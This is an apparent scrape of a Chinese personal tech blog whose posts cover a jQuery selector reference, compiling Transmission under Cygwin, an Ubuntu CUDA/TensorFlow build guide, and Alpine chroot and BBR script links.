inherit;">Install&nbsp;the&nbsp;alpine&nbsp;base&nbsp;installation&nbsp;onto&nbsp;the&nbsp;chroot</div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div><div style="background-color: inherit;">./sbin/apk.static&nbsp;-X&nbsp;${mirror}/latest-stable/main&nbsp;-U&nbsp;--allow-untrusted&nbsp;--root&nbsp;${chroot_dir}&nbsp;--initdb&nbsp;add&nbsp;alpine-base&nbsp;#--arch&nbsp;x86</div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div><div style="background-color: inherit;"><a style="cursor: pointer; background-color: inherit;" href="http://nl.alpinelinux.org/alpine/MIRRORS.txt" target="_blank">http://nl.alpinelinux.org/alpine/MIRRORS.txt</a></div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div></div></div><p><br /></p><div style="color: rgb(0, 0, 0); font-family: 微软雅黑; font-siz_d-color: rgb(255, 255, 255);"><div style="background-color: inherit;"><a style="cursor: pointer; background-color: inherit;" href="https://raw.githubusercontent.com/91yun/uml/master/bbr/ubuntu.sh" target="_blank">https://raw.githubusercontent.com/91yun/uml/master/bbr/ubuntu.sh</a></div></div><p><br /></p><div style="color: rgb(0, 0, 0); font-family: 微软雅黑; font-siz_d-color: rgb(255, 255, 255);"><br style="background-color: inherit;" /></div><h1><b>魔改版一键</b></h1><p>https://liyuans.com/archives/altered-bbr-onekey-script-collection.html<br /></p><div style="color: rgb(0, 0, 0); font-family: 微软雅黑; font-siz_d-color: rgb(255, 255, 255);"><br style="background-color: inherit;" /></div><p><br class="Apple-interchange-newline" /><br /><br /></p><p><br /></p><p></p>https://www.qrv5.net/p19Sun, 25 Jun 2017 08:42:27 GMTjQuery选择器用法https://www.qrv5.net/p17<p>原文链接:<a href="http://caibaojian.com/jquery-selectors.html" target="_blank">http://caibaojian.com/jquery-selectors.html</a><br /><br /></p><p><a href="http://caibaojian.com/jquery-selectors.html" target="_blank" title="原文来自:http://caibaojian.com/jquery-selectors.html">via</a><span class="wp_keywordlink"><a href="http://caibaojian.com/jquery/" target="_blank" title="jQuery手册">jQuery</a></span>选择器是<span class="wp_keywordlink_affiliate"><a href="http://caibaojian.com/t/jquery" target="_blank" title="View all posts in jQuery">jQuery</a></span>库的一大特色,用这些选择器不但可以省去繁琐的<span class="wp_keywordlink"><a href="http://caibaojian.com/t/javascript" target="_blank" title="javascript常用代码大全">javascript</a></span> 书写方式,还可以节省时间和效率,正是有这些<span class="wp_keywordlink_affiliate"><a href="http://caibaojian.com/t/jquery" target="_blank" title="View all posts in jQuery">jQuery</a></span>选择器,才让我们更容易的操作JavaScript的dom。<span style="opacity:0;">原文来自:http://caibaojian.com/jquery-selectors.html</span></p><p><br /></p><h2><a name="t1" target="_blank"></a>1).基本选择器</h2><p><br /></p><p>·#id 根据给定的ID匹配一个元素。例如:$(&quot;#id&quot;)<br /> ·element 根据给定的元素名匹配所有元素。例如:$(&quot;div&quot;)<br /> ·.class 根据给定的类匹配元素。例如:$(&quot;.style1&quot;);<br /> ·* 匹配所有元素。例如:$(&quot;*&quot;)<br /> ·selector1,selector2,selectorN 将每一个选择器匹配到的元素合并后一起返回。例如:$(&quot;#id,div,.style1&quot;)</p><p><br /></p><h2><a name="t2" target="_blank"></a>2).表单选择器</h2><p><br /></p><p>·:button 匹配所有按钮。例如:$(&quot;:button&quot;)<br /> ·:checkbox 匹配所有复选框。例如:$(&quot;:checkbox&quot;)<br /> ·:file 匹配所有文件域。例如:$(&quot;:file&quot;)<br /> ·:hidden 匹配所有不可见元素,或者type为hidden的元素。例如:$(&quot;input:hidden&quot;)<br /> ·:image 匹配所有图像域。例如:$(&quot;:image&quot;)<br /> ·:input 匹配所有 input, textarea, select 和 button 元素。例如:$(&quot;:input&quot;)<br /> ·:password 匹配所有密码框。例如:$(&quot;:password&quot;)<br /> ·:radio 匹配所有单选按钮。例如:$(&quot;:radio&quot;)<br /> ·:reset 匹配所有重置按钮。例如:$(&quot;:reset&quot;)<br /> ·:submit 匹配所有提交按钮。例如:$(&quot;:submit&quot;)<br /> ·:text 匹配所有的单行文本框。例如:$(&quot;:text&quot;)<br /> ·:header 匹配如 h1, h2, h3之类的标题元素。例如:$(&quot;:header&quot;).css(&quot;background&quot;, &quot;#EEE&quot;);</p><p><br /></p><h2><a name="t3" target="_blank"></a>2.筛选条件选择器</h2><p><br /></p><h3><a name="t4" target="_blank"></a>1).jQuery属性选择器</h3><p><br /></p><p>·[attribute*=value] 匹配给定的属性是以包含某些值的元素。例如:$(&quot;input[name*=&#039;man&#039;&quot;)<br /> ·[attribute!=value] 匹配所有含有指定的属性,但属性不等于特定值的元素。例如:$(input[name!=&#039;man&#039;);<br /> ·[attribute$=value] 匹配给定的属性是以某些值结尾的元素。例如:$(&quot;input[name$=&#039;man&#039;]&quot;)<br /> ·[attribute=value] 匹配给定的属性是某个特定值的元素。例如:$(&quot;input[name=&#039;man&#039;]&quot;);<br /> ·[attribute] 匹配包含给定属性的元素。例如:$(&quot;div[id]&quot;)<br /> ·[attribute^=value] 匹配给定的属性是以某些值开始的元素。例如:$(&quot;input[name^=&#039;man&#039;]&quot;)<br /> ·[selector1][selector2][selectorN] 同时满足多个条件。例如:$(&quot;input[id][name$=&#039;man&#039;]&quot;)<br /> ·:hidden 匹配所有的不可见元素。例如:$(&quot;tr:hidden&quot;)<br /> ·:visible 匹配所有的可见元素。例如:$(&quot;tr:visible&quot;)<br /> ·:checked 匹配所有选中的被选中元素(复选框、单选框等,不包括select中的option)。例如:$(&quot;input:checked&quot;)<br /> ·:disabled 匹配所有不可用元素。例如:$(&quot;input:disabled&quot;)<br /> ·:enabled 匹配所有可用元素。例如:$(&quot;input:enabled&quot;)<br /> ·:selected 匹配所有选中的option元素。例如:$(&quot;select option:selected&quot;)</p><p><br /></p><h3><a name="t5" target="_blank"></a>2).jQuery内容选择器</h3><p><br /></p><p>·:contains(text) 匹配包含给定文本的元素。例如:$(&quot;div:contains(&#039;John&#039;)&quot;)<br /> ·:empty 匹配所有不包含子元素或者文本的空元素。例如:$(&quot;td:empty&quot;)<br /> ·:has(selector) 匹配含有选择器所匹配的元素的元素。例如:$(&quot;div:has(p)&quot;);<br /> ·:parent 匹配含有子元素或者文本的元素。例如:$(&quot;td:parent&quot;)</p><p><br /></p><h3><a name="t6" target="_blank"></a>3).jQuery层级选择器</h3><p><br /></p><p>·ancestor descendant 在给定的祖先元素下匹配所有的后代元素。例如:$(&quot;form input&quot;)<br /> ·parent &gt; child 在给定的父元素下匹配所有的子元素。例如:$(&quot;form &gt; input&quot;)<br /> ·prev + next 匹配所有紧接在 prev 元素后的 next 元素。例如:$(&quot;label + input&quot;)<br /> ·prev ~ siblings 匹配 prev 元素之后的所有 siblings 元素。例如:$(&quot;form ~ input&quot;)<br /> ·:first-child 匹配第一个子元素。例如:$(&quot;ul li:first-child&quot;)<br /> ·:last-child 匹配最后一个子元素。例如:$(&quot;ul li:last-child&quot;)<br /> ·:nth-child(index/even/odd/equation) 匹配其父元素下的第N个子或奇偶元素。例如:$(&quot;ul li:nth-child(2)&quot;)<br /> ·:only-child 如果某个元素是父元素中唯一的子元素,那将会被匹配。例如:$(&quot;ul li:only-child&quot;)</p><p><br /></p><h3><a name="t7" target="_blank"></a>4).jQuery方法选择器</h3><p><br /></p><p>·:animated 匹配所有正在执行动画效果的元素。例如:$(&quot;div:animated&quot;);<br /> ·:eq(index) 匹配一个给定索引值的元素。例如:$(&quot;tr:eq(1)&quot;)<br /> ·:even 匹配所有索引值为偶数的元素,从 0 开始计数。例如:$(&quot;tr:even&quot;)<br /> ·:first 匹配找到的第一个元素。例如:$(&quot;tr:first&quot;)<br /> ·:gt(index) 匹配所有大于给定索引值的元素,从 0 开始计数。例如:$(&quot;tr:gt(0)&quot;)<br /> ·:last 匹配找到的最后一个元素。例如:$(&quot;tr:last&quot;)<br /> ·:lt(index) 匹配所有小于给定索引值的元素。例如:$(&quot;tr:lt(2)&quot;)<br /> ·:not(selector) 去除所有与给定选择器匹配的元素。例如:$(&quot;input:not(:checked)&quot;)<br /> ·:odd 匹配所有索引值为奇数的元素,从 0 开始计数。例如:$(&quot;tr:odd&quot;)</p><p><br /></p><p>看下面这张表格:</p><p><br /></p><table><tbody><tr><th>选择器</th><th>实例</th><th>选取</th></tr><tr><td>*</td><td>$(&quot;*&quot;)</td><td>所有元素</td></tr><tr><td>#id</td><td>$(&quot;#lastname&quot;)</td><td>id=&quot;lastname&quot; 的元素</td></tr><tr><td>.class</td><td>$(&quot;.intro&quot;)</td><td>所有 class=&quot;intro&quot; 的元素</td></tr><tr><td>element</td><td>$(&quot;p&quot;)</td><td>所有 &lt;p&gt; 元素</td></tr><tr><td>.class.class</td><td>$(&quot;.intro.demo&quot;)</td><td>所有 class=&quot;intro&quot; 且 class=&quot;demo&quot; 的元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>:first</td><td>$(&quot;p:first&quot;)</td><td>第一个 &lt;p&gt; 元素</td></tr><tr><td>:last</td><td>$(&quot;p:last&quot;)</td><td>最后一个 &lt;p&gt; 元素</td></tr><tr><td>:even</td><td>$(&quot;tr:even&quot;)</td><td>所有偶数 &lt;tr&gt; 元素</td></tr><tr><td>:odd</td><td>$(&quot;tr:odd&quot;)</td><td>所有奇数 &lt;tr&gt; 元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>:eq(index)</td><td>$(&quot;ul li:eq(3)&quot;)</td><td>列表中的第四个元素(index 从 0 开始)</td></tr><tr><td>:gt(no)</td><td>$(&quot;ul li:gt(3)&quot;)</td><td>列出 index 大于 3 的元素</td></tr><tr><td>:lt(no)</td><td>$(&quot;ul li:lt(3)&quot;)</td><td>列出 index 小于 3 的元素</td></tr><tr><td>:not(selector)</td><td>$(&quot;input:not(:empty)&quot;)</td><td>所有不为空的 input 元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>:header</td><td>$(&quot;:header&quot;)</td><td>所有标题元素 &lt;h1&gt; - &lt;h6&gt;</td></tr><tr><td>:animated</td><td><br /></td><td>所有动画元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>:contains(text)</td><td>$(&quot;:contains(&#039;W3School&#039;)&quot;)</td><td>包含指定字符串的所有元素</td></tr><tr><td>:empty</td><td>$(&quot;:empty&quot;)</td><td>无子(元素)节点的所有元素</td></tr><tr><td>:hidden</td><td>$(&quot;p:hidden&quot;)</td><td>所有隐藏的 &lt;p&gt; 元素</td></tr><tr><td>:visible</td><td>$(&quot;table:visible&quot;)</td><td>所有可见的表格</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>s1,s2,s3</td><td>$(&quot;th,td,.intro&quot;)</td><td>所有带有匹配选择的元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>[attribute]</td><td>$(&quot;[href]&quot;)</td><td>所有带有 href 属性的元素</td></tr><tr><td>[attribute=value]</td><td>$(&quot;[href=&#039;#&#039;]&quot;)</td><td>所有 href 属性的值等于 &quot;#&quot; 的元素</td></tr><tr><td>[attribute!=value]</td><td>$(&quot;[href!=&#039;#&#039;]&quot;)</td><td>所有 href 属性的值不等于 &quot;#&quot; 的元素</td></tr><tr><td>[attribute$=value]</td><td>$(&quot;[href$=&#039;.jpg&#039;]&quot;)</td><td>所有 href 属性的值包含以 &quot;.jpg&quot; 结尾的元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>:input</td><td>$(&quot;:input&quot;)</td><td>所有 &lt;input&gt; 元素</td></tr><tr><td>:text</td><td>$(&quot;:text&quot;)</td><td>所有 type=&quot;text&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:password</td><td>$(&quot;:password&quot;)</td><td>所有 type=&quot;password&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:radio</td><td>$(&quot;:radio&quot;)</td><td>所有 type=&quot;radio&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:checkbox</td><td>$(&quot;:checkbox&quot;)</td><td>所有 type=&quot;checkbox&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:submit</td><td>$(&quot;:submit&quot;)</td><td>所有 type=&quot;submit&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:reset</td><td>$(&quot;:reset&quot;)</td><td>所有 type=&quot;reset&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:button</td><td>$(&quot;:button&quot;)</td><td>所有 type=&quot;button&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:image</td><td>$(&quot;:image&quot;)</td><td>所有 type=&quot;image&quot; 的 &lt;input&gt; 元素</td></tr><tr><td>:file</td><td>$(&quot;:file&quot;)</td><td>所有 type=&quot;file&quot; 的 &lt;input&gt; 元素</td></tr><tr><td><br /></td><td><br /></td><td><br /></td></tr><tr><td>:enabled</td><td>$(&quot;:enabled&quot;)</td><td>所有激活的 input 元素</td></tr><tr><td>:disabled</td><td>$(&quot;:disabled&quot;)</td><td>所有禁用的 input 元素</td></tr><tr><td>:selected</td><td>$(&quot;:selected&quot;)</td><td>所有被选取的 input 元素</td></tr><tr><td>:checked</td><td>$(&quot;:checked&quot;)</td><td>所有被选中的 input 元素</td></tr></tbody></table><p><br /></p>https://www.qrv5.net/p17Tue, 31 Jan 2017 04:20:30 GMTvps版博客更新 使用summernote编辑器https://www.qrv5.net/p16<p>之前使用的bootstrap的html5富文本编辑器,虽然能够解决大部分问题,但是有一些小的细节并不满意。</p><p><br /></p><blockquote>更新以后,可以直接上传图片,以data的方式存在正文,但不推荐直接使用,图床更好。<br />可以正常显示code view,可以仔细修改细节了。<br />可以随正文长短来缩放div框大小。<br />可以全屏化。<br />解决有图片的文章选择问题。</blockquote><p><br /></p><p>总的来说这次更新还是很有必要,使用方便很多。</p><p>就酱。新春快乐!</p>https://www.qrv5.net/p16Tue, 24 Jan 2017 03:30:44 GMTwindows下编译transmissionhttps://www.qrv5.net/p15<p>最近玩pt,决定改一点源码实现一些功能。utorrent闭源,那就用老朋友transmission好了。</p><p>babun尝试了半天没成功,最后还是重新用cygwin来编译。</p><p>64位系统,使用32位cygwin,目标32位exe。</p><p>首先是transmission源码:</p><p><a href="https://github.com/cfpp2p/transmission/tree/cygwin" target="_blank" rel="nofollow">https://github.com/cfpp2p/transmission/tree/cygwin</a><br /></p><p>然后安装cygwin,安装部件参考 debian部分的dependence 。</p><p> </p><blockquote>bison<br /> flex<br /> gettext-devel<br /> libtool<br /> make<br /> gcc g++<br /> patch<br /> pkg-config<br /> wget </blockquote><p></p><p><a href="https://github.com/transmission/transmission/wiki/Building-Transmission" target="_blank" rel="nofollow">https://github.com/transmission/transmission/wiki/Building-Transmission</a><br /></p><p>也可以参考cygwin版transmission作者写的比较老点的编译指导。顺便他解释了一下为什么采用2.7版本的transmission而不是更新的。</p><p><a href="https://sourceforge.net/p/transmissiondaemon/discussion/general/thread/acc52fa2/" target="_blank" rel="nofollow">https://sourceforge.net/p/transmissiondaemon/discussion/general/thread/acc52fa2/</a><br /></p><p>编译过程,先运行autogen.sh,然后make&nbsp;-j&nbsp;4。成品在remote目录的.lib下。</p><p><br /></p><p>当然了,这里有三方gui组件和编译成品。没有特殊需求可以直接使用这个。</p><p><a href="https://sourceforge.net/projects/transmissiondaemon/files/?source=navbar" target="_blank" rel="nofollow">https://sourceforge.net/projects/transmissiondaemon/files/?source=navbar</a><br /></p><p><br /></p><p>顺便贴一段代码</p><blockquote><p> <a href="https://github.com/cfpp2p/transmission/tree/cygwin" target="_blank" rel="nofollow">transmission</a>/<a href="https://github.com/cfpp2p/transmission/tree/cygwin/libtransmission" target="_blank" rel="nofollow">libtransmission</a>/<strong>announcer-http.c</strong></p></blockquote><blockquote>evbuffer_add_printf( buf, &quot;%s&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;%c&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;info_hash=%s&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;peer_id=%*.*s&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;port=%d&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;uploaded=%&quot; PRIu64<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;downloaded=%&quot; PRIu64<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;left=%&quot; PRIu64<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;numwant=%d&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;key=%x&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;compact=1&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;&amp;supportcrypto=1&quot;,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;url,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strchr( req-&gt;url, &#039;?&#039; ) ? &#039;&amp;&#039; : &#039;?&#039;,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; escaped_info_hash,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PEER_ID_LEN, PEER_ID_LEN, req-&gt;peer_id,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;port,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;up,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;down,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;left,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;numwant,<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req-&gt;key );</blockquote><p></p><p><br /></p><p><br /></p>https://www.qrv5.net/p15Tue, 24 Jan 2017 03:21:33 GMTubuntu安装(历险)记https://www.qrv5.net/p14<p>目标:安装ubuntu+Cuda等+tensorflow</p><p>主要参考文章为 <a href="http://www.52nlp.cn/%e6%b7%b1%e5%ba%a6%e5%ad%a6%e4%b9%a0%e4%b8%bb%e6%9c%ba%e7%8e%af%e5%a2%83%e9%85%8d%e7%bd%ae-ubuntu-16-04-nvidia-gtx-1080-cuda-8" target="_blank" rel="nofollow">http://www.52nlp.cn/%e6%b7%b1%e5%ba%a6%e5%ad%a6%e4%b9%a0%e4%b8%bb%e6%9c%ba%e7%8e%af%e5%a2%83%e9%85%8d%e7%bd%ae-ubuntu-16-04-nvidia-gtx-1080-cuda-8</a></p><p><br /></p><h1>1.首先使用u盘安装ubuntu</h1><p>用UEFI应该可以直接将光盘解压到U盘中启动,grub引导亦可。</p><p>grub引导,需解压iso中vmlinuz和initrd到对应文件夹,iso改名后放到根目录:</p><p></p><blockquote>title [13]--ISO UBUNTU<br />find --set-root /ubuntu.iso<br />kernel /ubuntu/vmlinuz.efi boot=casper iso-scan/filename=/ubuntu.iso nomodeset ro<br />initrd /ubuntu/initrd.lz<br />boot</blockquote><p></p><p>开机狂点F10-F12,选择U盘启动到grub目录,通常可选择ubuntu启动。</p><p>然而,启动中很可能出现显示器无信号的情况,这时需要修改启动项。在grub界面按e,在splash前添加nomodeset,再启动。</p><p><br /></p><p>安装完成后也有同样的问题,第一次需要添加相同参数才能启动。</p><p>启动后修复,此处修改 GRUB_CMDLINE_LINUX_DEFAULT :</p><p></p><blockquote>sudo nano /etc/default/grub<br /><br />GRUB_DEFAULT=0<br />GRUB_HIDDEN_TIMEOUT=0<br />GRUB_HIDDEN_TIMEOUT_QUIET=true<br />GRUB_TIMEOUT=5<br />GRUB_DISTRIBUTOR=`lsb_release -i -s 2&gt; /dev/null || echo Debian`<br />GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash nomodeset&quot;<br />GRUB_CMDLINE_LINUX=&quot;&quot;<br /><br />sudo update-grub<br /></blockquote><p></p><p><br /></p><h1>2.修改源</h1><p>主要是加速。国内很多源,清华、163皆可。</p><p></p><blockquote>cd /etc/apt/<br />sudo cp sources.list sources.list.bak<br />sudo vi sources.list<br /><br />把下面的这些源添加到source.list文件头部:<br /><br />deb <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial main restricted universe multiverse<br />deb <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-security main restricted universe multiverse<br />deb <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-updates main restricted universe multiverse<br />deb <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-proposed main restricted universe multiverse<br />deb <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-backports main restricted universe multiverse<br />deb-src <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial main restricted universe multiverse<br />deb-src <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-security main restricted universe multiverse<br />deb-src <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-updates main restricted universe multiverse<br />deb-src <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-proposed main restricted universe multiverse<br />deb-src <a href="http://mirrors.ustc.edu.cn/ubuntu/" target="_blank" rel="nofollow">http://mirrors.ustc.edu.cn/ubuntu/</a> xenial-backports main restricted universe multiverse<br /><br />最后更新源和更新已安装的包:<br /><br />sudo apt-get update<br />sudo apt-get upgrade</blockquote><p></p><p><br /></p><h1>3.安装驱动</h1><p>最新驱动370,可安装更新驱动。</p><p></p><blockquote>sudo add-apt-repository ppa:graphics-drivers/ppa<br /><br />回车后继续:<br /><br />sudo apt-get update<br />sudo apt-get install nvidia-370 mesa-common-dev freeglut3-dev</blockquote><p></p><p>重启修改分辨率,驱动安装完成。</p><p><br /></p><h1>4.安装cuda<br /></h1><p>下载Cuda8 <a href="https://developer.nvidia.com/cuda-release-candidate-download" target="_blank" rel="nofollow">https://developer.nvidia.com/cuda-release-candidate-download</a>,需注册。</p><p>下载最新的 runfile 版本,当前为 8.0.27 和 8.0.27.1。</p><p></p><blockquote> sudo sh cuda_8.0.27_linux.run --tmpdir=/opt/temp/ --override<br /></blockquote><p></p><p>由于gcc版本问题,需要添加override参数,编译无问题。</p><p>同时,询问 Install NVIDIA Accelerated Graphics Driver for Linux-x86_64 时选n。</p><p>添加到 ~/.bashrc :</p><p></p><blockquote> <div><div>export PATH=/usr/local/cuda-8.0/bin${PATH:+:${PATH}}<br /> export LD_LIBRARY_PATH=/usr/local/cuda-8.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}</div></div> <p></p> 测试<br /> nvidia-smi <br /></blockquote><p></p><p> 8.0.27.1类似:</p><p></p><blockquote> sudo sh cuda_8.0.27.1_linux.run --tmpdir=/opt/temp/</blockquote><p></p><p></p><p><br /></p><h1>5.安装Cudnn</h1><p>下载cudnn <a href="https://developer.nvidia.com/rdp/cudnn-download" target="_blank" rel="nofollow">https://developer.nvidia.com/rdp/cudnn-download</a>,这里安装cudnn 5.1RC。</p><p></p><blockquote> tar -zxvf cudnn-8.0-linux-x64-*<br />sudo cp cuda/include/cudnn.h /usr/local/cuda/include/<br />sudo cp cuda/lib64/libcudnn* /usr/local/cuda/lib64/<br />sudo chmod a+r /usr/local/cuda/include/cudnn.h<br />sudo chmod a+r /usr/local/cuda/lib64/libcudnn*<br /></blockquote><p></p><p><br /></p><h1>6.源码编译TensorFlow GPU</h1><p>tensorflow9.0需从源码编译才支持cudnn5.1+cuda8.0。</p><p></p><blockquote> sudo apt-get install python-pip<br /> sudo apt-get install swig python-dev python-whee<br />pip install numpy<br /><br />#如果编译目标切换python3 还需安装<br /> sudo apt-get install python3-pip python3-dev libcurl3-dev<br />pip3 install numpy<br /><br /> </blockquote><p></p><p>注意,bazel需要最新版本(以解决后续配置、编译的workspace问题,这里使用0.3.1),查看在 <a href="https://github.com/bazelbuild/bazel/releases/" target="_blank" rel="nofollow">https://github.com/bazelbuild/bazel/releases/</a> 。</p><p></p><blockquote> sudo apt-get update<br /> sudo apt-get install default-jre default-jdk<br />chmod +x bazel-0.3.1-installer-linux-x86_64.sh <br />./bazel-0.3.1-installer-linux-x86_64.sh --user<br /></blockquote><p></p><p>环境 ~/.bashrc中追加,其中 textminer 为用户名。</p><p></p><blockquote>source /home/textminer/.bazel/bin/bazel-complete.bash<br />export PATH=$PATH:/home/textminer/.bazel/bin<br /> source ~/.bashrc <br /></blockquote><p></p><p>再安装tensorflow。</p><p></p><p></p><blockquote> sudo apt-get install libcurl3 libcurl3-dev zlib1g-dev git</blockquote><br />下载源码<p></p><blockquote>git clone <a href="https://github.com/tensorflow/tensorflow" target="_blank" rel="nofollow">https://github.com/tensorflow/tensorflow</a> <br />#git是下载最新源码,也可以到release页面 <a href="https://github.com/tensorflow/tensorflow/releases" target="_blank" rel="nofollow">https://github.com/tensorflow/tensorflow/releases</a> 下载发布的源码,。推荐下载发布的源码。这里使用0.10rc。<br /><br />./configure<br />#在询问是否开启GPU时选Y,其余可忽略<br />#如果编译python3,则python路径为/usr/bin/python3<br />#库路径通常为 /usr/local/lib/python3.5/dist-packages/<br /><br />bazel build -c opt --config=cuda //tensorflow/cc:tutorials_example_trainer<br />#开始编译</blockquote>编译过程中若出现类似如下信息<blockquote><pre><code>ERROR: /home/ggg/000/tensorflow/tensorflow/core/kernels/BUILD:1515:1: undeclared inclusion(s) in rule &#039;//tensorflow/core/kernels:depth_space_ops_gpu&#039;: this rule is missing dependency declarations for the following files included by &#039;tensorflow/core/kernels/depthtospace_op_gpu.cu.cc&#039;: &#039;/usr/local/cuda-7.5/include/cuda_runtime.h&#039; &#039;/usr/local/cuda-7.5/include/host_config.h&#039; &#039;/usr/local/cuda-7.5/include/builtin_types.h&#039; &#039;/usr/local/cuda-7.5/include/device_types.h&#039; &#039;/usr/local/cuda-7.5/include/host_defines.h&#039; &#039;/usr/local/cuda-7.5/include/driver_types.h&#039; &#039;/usr/local/cuda-7.5/include/surface_types.h&#039;</code></pre></blockquote><p></p><p>可参考如下issue解决<a href="https://github.com/tensorflow/tensorflow/issues/3589" target="_blank" rel="nofollow">https://github.com/tensorflow/tensorflow/issues/3589</a>。我没有删除原来的那一行,而是直接添加cxx_builtin_include_directory: &quot;/usr/local&quot;,编译通过。</p><p></p><p></p><pre><code><blockquote>$ git diff third_party/gpus/crosstool/CROSSTOOL diff --git a/third_party/gpus/crosstool/CROSSTOOL b/third_party/gpus/crosstool/CROSSTOOL index 8db81a9..dfc568b 100644 --- a/third_party/gpus/crosstool/CROSSTOOL +++ b/third_party/gpus/crosstool/CROSSTOOL @@ -58,7 +58,7 @@ toolchain { # absolute locations and has no remote execution, yet. However, this will need # to be fixed, maybe with auto-detection? cxx_builtin_include_directory: &quot;/usr/lib/gcc/&quot; - cxx_builtin_include_directory: &quot;/usr/local/include&quot; + cxx_builtin_include_directory: &quot;/usr/local&quot; cxx_builtin_include_directory: &quot;/usr/include&quot; tool_path { name: &quot;gcov&quot; path: &quot;/usr/bin/gcov&quot; }</blockquote>然后编译python相关模块 